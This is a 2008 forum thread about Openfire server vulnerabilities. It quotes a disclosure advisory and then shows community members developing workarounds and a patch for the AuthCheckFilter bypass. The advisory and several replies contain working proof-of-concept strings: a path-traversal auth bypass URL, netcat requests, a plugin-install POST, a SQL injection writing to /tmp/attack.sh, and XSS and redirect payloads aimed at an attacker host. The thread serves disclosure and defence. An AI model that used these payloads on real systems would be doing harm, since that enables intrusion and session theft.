Skip navigation
24239 Views 41 Replies Latest reply: Nov 14, 2008 9:50 AM by Daryl Herzmann RSS
ktk Bronze 3 posts since
Nov 10, 2008
Currently Being Moderated

Nov 10, 2008 3:01 AM

Openfire security vulnerabilities

There was a posting on Full-disclosure today about various security issues in OpenFire, I quote from the original posting by Andreas Kurtz.

 

Source: http://www.andreas-kurtz.de/advisories/AKADV2008-001-v1.0.txt

 

Full-disclosure: http://archives.neohapsis.com/archives/fulldisclosure/2008-11/0156.html

 

I really like Openfire but I don't really like the facts that Andreas Kurtz (according to his posting) contacted Jive Software but no one managed to fix the issues within 6 months.

 

Any comment about that?

 

thanks

 

ktk

 

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Advisory:               Openfire Server Multiple Vulnerabilities
Advisory ID:            AKADV2008-001
Release Date:           2008/11/07
Revision:               1.0
Last Modified:          2008/11/07
Date Reported:          2008/05/17
Author:                 Andreas Kurtz (mail at andreas-kurtz.de)
Affected Software:      Openfire Server <= 3.6.0a
Remotely Exploitable:   Yes
Risk:                   Critical (x) High ( ) Medium ( ) Low ( )
Vendor URL:             http://www.igniterealtime.org
                        http://www.jivesoftware.com/
Vendor Status:          No patch released yet.     
Patch development time: N/A


Vulnerability description:
- --------------------------

The jabber server Openfire (<= version 3.6.0a) contains several serious
vulnerabilities. Depending on the particular runtime environment these
issues can potentially even be used by an attacker to execute code
on operating system level.

1) Authentication bypass
This vulnerability provides an attacker full access to all functions
in the admin webinterface without providing any user credentials.
The Tomcat filter which is responsible for authentication could be
completely circumvented.

2) SQL injection
It is possible to pass SQL statements to the backend database through
a SQL injection vulnerability. Depending on the particular
runtime environment and database permissions it is even possible to
write files to disk and execute code on operating system level.

3) Multiple Cross-Site Scripting
Permits arbitrary insertion of HTML- and JavaScript code in login.jsp.
An attacker could also manipulate a parameter to specify
a destination to which a user will be forwarded to after successful
authentication.


Technical details:
- ------------------

1) Authentication bypass
Authentication to the openfire admin interface is secured by a filter in
the Tomcat application server (org.jivesoftware.admin.AuthCheckFilter).
This filter guarantees that access to the admin interface is only granted
to authenticated users. Otherwise they get redirected to a login page.

A design error in Openfire enables access to internal functions
without the need for admin user credentials.
The deployment descriptor (web.xml) configures some exclude values
for the AuthCheckFilter:

<filter>     
  <filter-name>AuthCheck</filter-name>
  <filter-class>org.jivesoftware.admin.AuthCheckFilter</filter-class>
  <init-param>
    <param-name>excludes</param-name>          
    <param-value>login.jsp,index.jsp?logout=true,setup/index.jsp,
               setup/setup-,.gif,.png,error-serverdown.jsp</param-value>
  </init-param>
</filter>

When a request URL contains one of these Exclude-Strings the
auth check mechanism is totally circumvented. This was considered
necessary for the initial setup process or the presence plugin.
Following POC demonstrates how an attacker could access
internal functions by manipulating the URL providing one of these
excludes(/setup/setup-/../../):

http://www.foo.bar:9090/setup/setup-/../../log.jsp?log=info&mode=asc&lines=
All

2) SQL injection
The parameter "type" in sipark-log-summary.jsp is prone to
SQL injection. Untrusted user data enters the application in
sipark-log-summary.jsp (line 163):

     String type = ParamUtils.getParameter(request, "type");

The function getCalls() in org.jivesoftware.openfire.sip.calllog.CallLogDAO
processes this user input (SQLCondition) and constructs a SQL statement:

    String sql = "SELECT * FROM sipPhoneLog";

    sql = SQLCondition != null && !SQLCondition.equals("") ?
          sql + " WHERE " + SQLCondition : sql;

    sql += " ORDER BY datetime DESC";
          
That statement is executed in the method
createScrollablePreparedStatement()
in CallLogDAO (line 411):

     return con.prepareStatement(sql);
     
In that case there is a SQL injection vulnerability present even though
prepared statemens are used. This happens because the string sql is
dynamically
concatenated *before* it is passed to the prepared statement object.

3) Cross-Site Scripting
The parameter "url" in login.jsp was vulnerable to Cross-Site Scripting
(XSS).
This vulnerability is the only one which was fixed within the last 6
months.

http://www.foo.bar:9090/login.jsp?url="/><script>alert(document.cookie);</s
cript>
                              
An attacker could also manipulate the parameter to specify a
destination to which a user will be forwarded to after successful
authentication:

http://www.foo.bar:9090/login.jsp?url=http://www.attacker.com/StealSession

If a user authenticates using that link it is easily possible for an
attacker to hijack the users session.

Furthermore the parameter "username" in login.jsp is still vulnerable
to Cross-Site Scripting attacks.

     
Putting it all together:
- ------------------------

Since the SIP-Plugin is deactivated by default, an attacker needs to
install it using the authentication bypass vulnerability and the
following POST request:

POST
http://www.foo.bar:9090/setup/setup-/../../dwr/exec/downloader.installPlugi
n.dwr HTTP/1.1
Host: www.foo.bar:9090

callCount=1
c0-scriptName=downloader
c0-methodName=installPlugin
c0-id=7931_1210973487852
c0-param0=string:http%3A%2F%2Fwww.igniterealtime.org%2Fprojects%2Fopenfire%
2Fplugins%2Fsip.jar
c0-param1=string:661780277
xml=true

After that activation the described SQL injection vulnerability can
be used in a single unauthenticated request.
The following proof of concept uses a mysql database:

http://www.foo.bar:9090/setup/setup-/../../plugins/sip/sipark-log-summary.j
sp?
type=all'UNION%20SELECT%20'attack-code'%20INTO%20OUTFILE%20'/tmp/attack.sh'
%20/*&startDate=Any&endDate=Any&submit=true&get=Search


Solution:
- ---------

Since the vendor didn't release a patch within the last 6 months it is
highly recommended to deactivate access to the entire admin interface.
This can be achieved for example by blocking the according ports
(tcp/9090 & tcp/9091 by default) with a firewall. Following communication
to the admin interface can be done via SSL tunnels.

For more details see: http://www.andreas-kurtz.de/archives/63


History:
- --------

  2008/05/17 - Vendor notified using sales@jivesoftware.com
  2008/05/18 - Vendor notified using gaston@jivesoftware.com
  2008/05/20 - Vendor response
  2008/05/20 - Detailed vulnerability information sent to the vendor
  2008/05/21 - Vendor confirms the vulnerability
  2008/08/18 - Asked vendor for up to date information regarding the
reported issues
  2008/10/18 - Again asked vendor for up to date information regarding the
reported issues
  2008/10/31 - Informed vendor of planned advisory realease on 2008/11/05
(no response)
  2008/11/07 - Full technical details and recommended measures released to
general public
          

Credits:
- --------

  Vulnerability found and advisory written by Andreas Kurtz.

 
References:
- -----------

  http://www.andreas-kurtz.de/archives/63
 

Changes:
- --------

  Revision 0.1 - Initial draft release to the vendor
  Revision 1.0 - Final version released to general public


Disclaimer:
- -----------

The information within this advisory may change without notice. Use
of this information constitutes acceptance for use in an AS IS
condition. There are no warranties, implied or express, with regard
to this information. In no event shall the author be liable for any
direct or indirect damages whatsoever arising out of or in connection
with the use or spread of this information. Any use of this
information is at the user's own risk.


PGP Key:
- --------

  http://www.andreas-kurtz.de/ak-pubkey.asc

Copyright 2008 Andreas Kurtz. All rights reserved.


-----BEGIN PGP SIGNATURE-----
Version: PGP Desktop 9.9.0 (Build 397)
Charset: utf-8

wsBVAwUBSRQVbXDQzpO427ITAQgGFAgAvxGItsFtfHEn1TLcVne2V3lCvX8GNOCN
3992EHNogahFXtIlgjG+cZl9nUZ5uIKiIUnv2LTwsGaQgYB6N8hxGMZr0bTIFlXP
ZcAhMwn2bwYmocUGKxFO2+2wqFRKH5HYP9scvKRGZtm5m2JD37jQmKlR+2i+/4SY
cwfUXfe+3ZNJcThVhN/B/+nN3jV7rSW8stj9J/uGZG91OUUlfJHTlUvNlmhO0JYd
xIWiFl54XGkw2jmBkgJFQUa4eucbjxCGcxdgyECRH1eDiOjr97ATxpy+iAYMbs3R
zdNOywO6stb+Ck1eB5d+7YKbd919AKuANU9sF2OI/sID1MjvpmrNcg==
=iZdK
-----END PGP SIGNATURE-----
  • Coolcat KeyContributor 797 posts since
    Mar 19, 2007
    Currently Being Moderated
    Nov 10, 2008 4:17 AM (in response to ktk)
    Re: Openfire security vulnerabilities

    1) Authentication bypass

    The described method does not work on my 3.6.0a server. However, I did only a quick test, will more into it later.

     

    2) SQL injection

    Seems only affect users of the SIP plugin. Again, I will go more into it later.

     

    3) Cross-Site Scripting

    As author says, this was already fixed. (I think it was 3.6.0)

     

    (I'm not a member of the Openfire Team..)

     

    Message was edited by: Coolcat

    • Stefan Reuter KeyContributor 335 posts since
      Aug 3, 2005
      Currently Being Moderated
      Nov 10, 2008 4:29 AM (in response to Coolcat)
      Re: Openfire security vulnerabilities

      The reason why the described method for 1) does not seem to work is that browsers normalize the URL before sending it to the server. You can test that the exploit actually works by using netcat or similar:

       

      echo "GET /setup/setup-/../../log.jsp?log=info&mode=asc&lines=All" | nc jabber.foo.bar 9090

  • Guus der Kinderen KeyContributor 814 posts since
    Sep 8, 2005
    Currently Being Moderated
    Nov 10, 2008 4:23 AM (in response to ktk)
    Re: Openfire security vulnerabilities

    Thiago just checked in a fix for problem #2: JM-1488

      • Coolcat KeyContributor 797 posts since
        Mar 19, 2007
        Currently Being Moderated
        Nov 10, 2008 7:47 AM (in response to ktk)
        Re: Openfire security vulnerabilities

        Ok, vulnerability #1 confirmed.

         

        Workaround for Linux systems as follows:

        1. Block admin console ports (normally 9090 and 9091) in your servers firewall.

        2. Use SecureShell to forward these ports to your local host:

        ssh -L 9091:localhost:9091 username@yourserver.org
        

        You can access to Admin console now via https://localhost:9091/

        This should be safe.

        • Coolcat KeyContributor 797 posts since
          Mar 19, 2007
          Currently Being Moderated
          Nov 10, 2008 7:51 AM (in response to Coolcat)
          Re: Openfire security vulnerabilities

          Vulnerability #1 is also critical as stand alone. An attacker could upload/install his own Openfire plugin and execute arbitrary code with rights of Openfire, including access to file system and database.

        • singerkd Bronze 4 posts since
          Nov 10, 2008
          Currently Being Moderated
          Nov 10, 2008 8:56 AM (in response to Coolcat)
          Re: Openfire security vulnerabilities

          Since we run FastPath for online tech support we couldn't reject access to the admin site. This is what we're trying as a temporary workaround. In the web.xml:

           

          <param-value>

               login.jsp,index.jsp?logout=true

          </param-value>

          <!--

          <param-value>

               login.jsp,index.jsp?logout=true,setup/index.jsp,setup/setup-,.gif,.png,error-se rverdown.jsp,setup/clears

          pace-integration-prelogin.jsp

          </param-value>

          -->

           

          Notice we've taken out the other exclusions including "setup/setup-" which I'm hoping is the main culprit. I've tried to run the exploit against login.jsp, but can't make it work.

           

          Can anyone *cough*Jive*cough* verify if this is a sufficient workaround?

           

        • singerkd Bronze 4 posts since
          Nov 10, 2008
          Currently Being Moderated
          Nov 10, 2008 8:56 AM (in response to Coolcat)
          Re: Openfire security vulnerabilities

          Since we run FastPath for online tech support we couldn't reject access to the admin site. This is what we're trying as a temporary workaround. In the web.xml:

           

           

          <param-value>

               login.jsp,index.jsp?logout=true

          </param-value>

           

          <!--

          <param-value>

               login.jsp,index.jsp?logout=true,setup/index.jsp,setup/setup-,.gif,.png,error-se rverdown.jsp,setup/clears

          pace-integration-prelogin.jsp

          </param-value>

          -->

           

           

          Notice we've taken out the other exclusions including "setup/setup-" which I'm hoping is the main culprit. I've tried to run the exploit against login.jsp, but can't make it work.

           

          Can anyone *cough*Jive*cough* verify if this is a sufficient workaround?

          • Coolcat KeyContributor 797 posts since
            Mar 19, 2007
            Currently Being Moderated
            Nov 10, 2008 9:08 AM (in response to singerkd)
            Re: Openfire security vulnerabilities

            @singerkd:

            Tried something like this?

            http://www.foo.bar:9090/login.jsp?url=setup/setup-/../../log.jsp?log=info&mode=asc&lines=All

             

            Since we run FastPath for online tech support we couldn't reject access to the admin site

            What about using an proxy? E.g. if you have an Apache running on the same machine, you could use mod_rewrite to do something like this:

            RewriteCond %{REQUEST_URI} ^/fastpath
            RewriteRule ^/(.*) http://localhost:9090/plugins/$1 [P]
            

            I'm not sure how fastpath works, so not need to figure out yourself how to write the rule. In any case, the benefit is the nicer URL

        • singerkd Bronze 4 posts since
          Nov 10, 2008
          Currently Being Moderated
          Nov 10, 2008 8:59 AM (in response to Coolcat)
          Re: Openfire security vulnerabilities

          Since we run FastPath for online tech support we couldn't reject access to the admin site. This is what we're trying as a temporary workaround. In the web.xml:

           

          
          <param-value>
              login.jsp,index.jsp?logout=true
          </param-value>
          
          <!--
          <param-value>
              login.jsp,index.jsp?logout=true,setup/index.jsp,setup/setup-,.gif,.png,error-serverdown.jsp,setup/clears
          pace-integration-prelogin.jsp
          </param-value>
          -->
          
          

           

          Notice we've taken out the other exclusions including "setup/setup-" which I'm hoping is the main culprit. I've tried to run the exploit against login.jsp, but can't make it work.

           

          Can anyone *cough*Jive*cough* verify if this is a sufficient workaround?

  • starry99 Silver 282 posts since
    Mar 2, 2006
    Currently Being Moderated
    Nov 10, 2008 11:38 AM (in response to ktk)
    Re: Openfire security vulnerabilities

    Hello!

     

    If the history timeline of this document is really true, than this is a sad sad story.

    Considering that Jive did not move for MONTHS means they really dont care any more about this project.

     

    Starry

    • Coolcat KeyContributor 797 posts since
      Mar 19, 2007
      Currently Being Moderated
      Nov 11, 2008 3:00 AM (in response to starry99)
      Re: Openfire security vulnerabilities

      Created issue JM-1489.

    • sixthring KeyContributor 3,828 posts since
      Apr 2, 2007
      Currently Being Moderated
      Nov 11, 2008 5:13 AM (in response to starry99)
      Re: Openfire security vulnerabilities

      I agree.  I really am beginning to quest why I still haunt this community.  There is no signs of life from Jive, except empty promises.

    • Daryl Herzmann KeyContributor 1,296 posts since
      Mar 12, 2005
      Currently Being Moderated
      Nov 11, 2008 5:41 AM (in response to starry99)
      Re: Openfire security vulnerabilities

      Hi Starry,

       

      Looks like we are witnessing open source Darwinism in action   Maybe its time we take the better parts of Openfire and see if they fit with Tigase?  I dunno, this all is so depressing...

       

      daryl

      • Coolcat KeyContributor 797 posts since
        Mar 19, 2007
        Currently Being Moderated
        Nov 11, 2008 2:46 PM (in response to Daryl Herzmann)
        Re: Openfire security vulnerabilities

        I think vulnerability #1 should be an easy fix:

         

        org.jivesoftware.admin.AuthCheckFilter#doFilter(ServletRequest, ServletResponse, FilterChain)

        replace line

        String url = request.getRequestURL().toString();
        

        with line

        String url = request.getServletPath();
        

         

        I cannot confirm the problem with that fix. However, I'm not sure if this is really so simple.

        Is it an good idea that the filter does only checks if the url contains the exclude string? Would be a check with startsWith(...) an better idea?

         

        Things that do not longer work:

        echo "GET /setup/setup-/../../log.jsp?log=info&mode=asc&lines=All" | nc localhost 9090
        echo "GET /log.jsp;/setup/setup-?log=info&mode=asc&lines=All" | nc localhost 9090
        

         

        Message was edited by: Coolcat

        • Stefan Reuter KeyContributor 335 posts since
          Aug 3, 2005
          Currently Being Moderated
          Nov 11, 2008 4:54 PM (in response to Coolcat)
          Re: Openfire security vulnerabilities

          Using getServletPath() looks like a good and easy solution.

           

          I think it is not sufficient but is a very good start. Instead of using startsWith() we could use regular expressions, I think this is the most flexible solution. The performance impact is rather slow compared to the increased flexibility and performance is not a #1 issue on the admin console.

           

          Another problem we have is that everything containing/ending with .png is currently excluded from access control. This includes URLs like

          http://localost:9090/plugins/monitoring/graph/.png?stat=packet_count&timeperiod= last60minutes&width=700&height=250&format=png

           

          I guess we can fix this by explicitly allowing access to just the required images and/or putting all of them into the images directory and allowing access to it.

          • Guus der Kinderen KeyContributor 814 posts since
            Sep 8, 2005
            Currently Being Moderated
            Nov 12, 2008 12:11 AM (in response to Stefan Reuter)
            Re: Openfire security vulnerabilities

            The problem area isn't necessarily limited to the list of excludes that is provided in web.xml

             

            The current AuthCheckFilter implementation allows the list of excludes to be changed at runtime. The addExclude(String) method allows you to do this. Custom code (such as plugins) can add new vulnerabilities to your system this way.

          • Coolcat KeyContributor 797 posts since
            Mar 19, 2007
            Currently Being Moderated
            Nov 12, 2008 1:26 AM (in response to Stefan Reuter)
            Re: Openfire security vulnerabilities
            Another problem we have is that everything containing/ending with .png is currently excluded from access control. This includes URLs like (...)

            No, this does not work, I tried that.

             

            getServletPath() does not contain the query string (behind '?') and does also not contain the parameter string (behind ';')

            http://en.wikipedia.org/wiki/URI_scheme#Generic_syntax

             

            http://java.sun.com/javaee/5/docs/api/javax/servlet/http/HttpServletRequest.html #getServletPath()

            This path starts with a "/" character and includes either the servlet name or a path to the servlet, but does not include any extra path information or a query string.

             

            @regex:

            Hm, regular expressions should be only used where they are really needed. Also this would require changes to many plugins.

             

            Message was edited by: Coolcat

            • Guus der Kinderen KeyContributor 814 posts since
              Sep 8, 2005
              Currently Being Moderated
              Nov 12, 2008 1:31 AM (in response to Coolcat)
              Re: Openfire security vulnerabilities

              As I see it, the main contributor to the problem is the simplistic way to see if the URL matches any excludes:

               

              for (String exclude : excludes) {
                  if (url.indexOf(exclude) > -1) {
                      doExclude = true;
                      break;
                  }
              }
              

               

              As Coolcat said, regexes should be avoided if possible. I think that goes for any wildcard-like mechanism. Wouldn't we be a lot more secure if we start implementing exact matching (instead of partial matching) and update the web.xml? Will doing that (based on the getServletPath() output, instead of the getRequestURL().toString() output as suggested before) solve our problem? Will it introduce new ones?

              • Dele Olajide KeyContributor 866 posts since
                Apr 10, 2006
                Currently Being Moderated
                Nov 12, 2008 1:49 AM (in response to Guus der Kinderen)
                Re: Openfire security vulnerabilities

                Can I ask a stupid question? Why even have excludes?

                 

                Will be a better idea to have a hardcoded known password to perform setup, bootstrap openfire and then always use the database password for all subsequent access. The only exception will be plugins that programitically call the exclude feature like the presence plugin.

                • Guus der Kinderen KeyContributor 814 posts since
                  Sep 8, 2005
                  Currently Being Moderated
                  Nov 12, 2008 1:55 AM (in response to Dele Olajide)
                  Re: Openfire security vulnerabilities

                  I can agree with that. In any case, the excludes needed for setup should be removed after the setup has been completed.

                   

                  However, we should try to preserve the functionality, as some third party products (such as custom plugins) rely on it. If we now simply disable the possiblilty to exclude something, without offering an alternative, we'll end up upsetting a number of Openfire admins.

                  • Coolcat KeyContributor 797 posts since
                    Mar 19, 2007
                    Currently Being Moderated
                    Nov 12, 2008 3:05 AM (in response to Guus der Kinderen)
                    Re: Openfire security vulnerabilities

                    I thought about exact matches. I think most plugins will not need any changes since there is only one single exclude.

                    String url = request.getServletPath();
                    boolean doExclude = excludes.contains(url);
                    

                    This is also a performance improvement since it does now make sense to use an HashSet...

                     

                    However, I think this would require also the following changes:

                    public static void addExclude(String exclude) {
                            excludes.add("/plugins/" + exclude);
                        }
                    
                    public static void removeExclude(String exclude) {
                            excludes.remove("/plugins/" + exclude);
                    }
                    

                     

                    All official plugins should confirm with that. Methods addExclude() and removeExclude() are not used by Openfire itself.

                     

                    Message was edited by: Coolcat

                    • Coolcat KeyContributor 797 posts since
                      Mar 19, 2007
                      Currently Being Moderated
                      Nov 12, 2008 3:19 AM (in response to Coolcat)
                      Re: Openfire security vulnerabilities

                      Hm, it's not that easy....currently there is an exclude for index.jsp?logout=true

                       

                      getServletPath() does turncate the query string and it's not a good idea to exclude index.php itself.

                      • Stefan Reuter KeyContributor 335 posts since
                        Aug 3, 2005
                        Currently Being Moderated
                        Nov 12, 2008 3:28 AM (in response to Coolcat)
                        Re: Openfire security vulnerabilities

                        I think we can just remove the exclude for index.jsp?logout=true

                        The logout parameter in index.jsp is handled like this:

                         

                        <%  // Simple logout code
                            if ("true".equals(request.getParameter("logout"))) {
                                session.removeAttribute("jive.admin.authToken");
                                response.sendRedirect("index.jsp");
                                return;
                            }
                        %>

                         

                        This will still work if the user is authenticated.

                        If the user is not authenticated he will be directed to the login page by the AuthFilter. This also happens right now as index.jsp?logout=true redirects to index.jsp which requires authentication. There is no need to remove the authToken from the session if the user is not authenticated.

                        • Coolcat KeyContributor 797 posts since
                          Mar 19, 2007
                          Currently Being Moderated
                          Nov 12, 2008 5:27 AM (in response to Stefan Reuter)
                          Re: Openfire security vulnerabilities

                          We get an directory listing for

                          http://localhost:9090/images/

                          http://localhost:9090/style/

                          http://localhost:9090/js/

                          and *.css, *.js and image files can be accessed without exclusion.

                           

                          AuthCheck is only applied to *.jsp files.
                          We should apply the filter to everything:

                          <filter-mapping>
                                  <filter-name>AuthCheck</filter-name>
                                  <url-pattern>/*</url-pattern>
                          </filter-mapping>

                          and then create a whitelist for everything that is requried for login. For the last two I'm not sure if this is required.

                           

                          <filter>
                                  <filter-name>AuthCheck</filter-name>
                                  <filter-class>org.jivesoftware.admin.AuthCheckFilter</filter-class>
                                  <init-param>
                                      <param-name>excludes</param-name>
                                      <param-value>
                                          /login.jsp,
                                          /style/global.css,
                                          /style/login.css,
                                          /images/login_logo.gif,
                                          /images/error-16x16.gif,
                                          /images/jive-login-form-bg-gray.gif,
                                          /images/jive-login-bg.gif,
                                          /error-serverdown.jsp,
                                          /setup/clearspace-integration-prelogin.jsp
                                      </param-value>
                                  </init-param>
                              </filter>
                          

                           

                           

                          For AuthCheckFilter we take the following, so setup will work.

                          String srvpath = request.getServletPath();
                          boolean doExclude = XMPPServer.getInstance().isSetupMode() || excludes.contains(srvpath);
                          

                           

                           

                          However, for some strage reason setup does not work for me, but it is possible that is some other problem not related with that change.

                          java.lang.NullPointerException
                               at org.jivesoftware.openfire.admin.index_jsp._jspService(index_jsp.java:131)
                               at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:97)
                               at javax.servlet.http.HttpServlet.service(HttpServlet.java:820)
                               at org.mortbay.jetty.servlet.ServletHolder.handle(ServletHolder.java:487)
                                  (...)
                          

                           

                          Message was edited by: Coolcat

                          • Guus der Kinderen KeyContributor 814 posts since
                            Sep 8, 2005
                            Currently Being Moderated
                            Nov 12, 2008 5:33 AM (in response to Coolcat)
                            Re: Openfire security vulnerabilities

                            Argh, I just about finished a section that adds/removes the proper setup excludes before/after setup. Simply allowing everything during setup is much easier . Let me look into that NullPointer...

                            • Coolcat KeyContributor 797 posts since
                              Mar 19, 2007
                              Currently Being Moderated
                              Nov 12, 2008 8:11 AM (in response to Guus der Kinderen)
                              Re: Openfire security vulnerabilities

                              Guus and I worked on a patch for this. I posted it to JM-1489. However, the problem with plugins that exclude them self from AuthCheckFilter is still not solved.

                               

                              I think we have three options for org.jivesoftware.admin.AuthCheckFilter#addExclude(String):

                              1. As suggested above, always add prefix "/plugins/" to all user excludes.
                              2. Always add "/plugins/" + "exclude" AND "exclude" to user excludes
                              3. Only add exclude. This will require to patch several plugins.

                               

                              We could discuss this on the community chat starting in two hours.

                              • wroot KeyContributor 7,502 posts since
                                Jan 24, 2005
                                Currently Being Moderated
                                Nov 12, 2008 9:59 AM (in response to Coolcat)
                                Re: Openfire security vulnerabilities

                                Well. I dont understand most of this stuff. But i prefer to reinstall some plugins than being insecure. Must say, that i'm secured anyway (using it in LAN with admin console firewalled), but i'm trying to represent those admins feelings I think their would be much happier to know they are secure, than not knowing anything about the troubles. Anyway, i think the message about Openfire vulnerabilities soon fly around the world (already reported in a couple of sec.advisories).

                                 

                                Todd, you already a Top Participant You dont have to work hard here anymore

        • Muesli Bronze 32 posts since
          Nov 21, 2006
          Currently Being Moderated
          Nov 13, 2008 6:16 AM (in response to Coolcat)
          Re: Openfire security vulnerabilities

          An obvious thing to do would also be adding session checks to the relevant jsp files just to be sure. It doesn't cost much after all.

More Like This

  • Retrieving data ...

Bookmarked By (0)

Legend

  • Correct Answers - 10 points
  • Helpful Answers - 5 points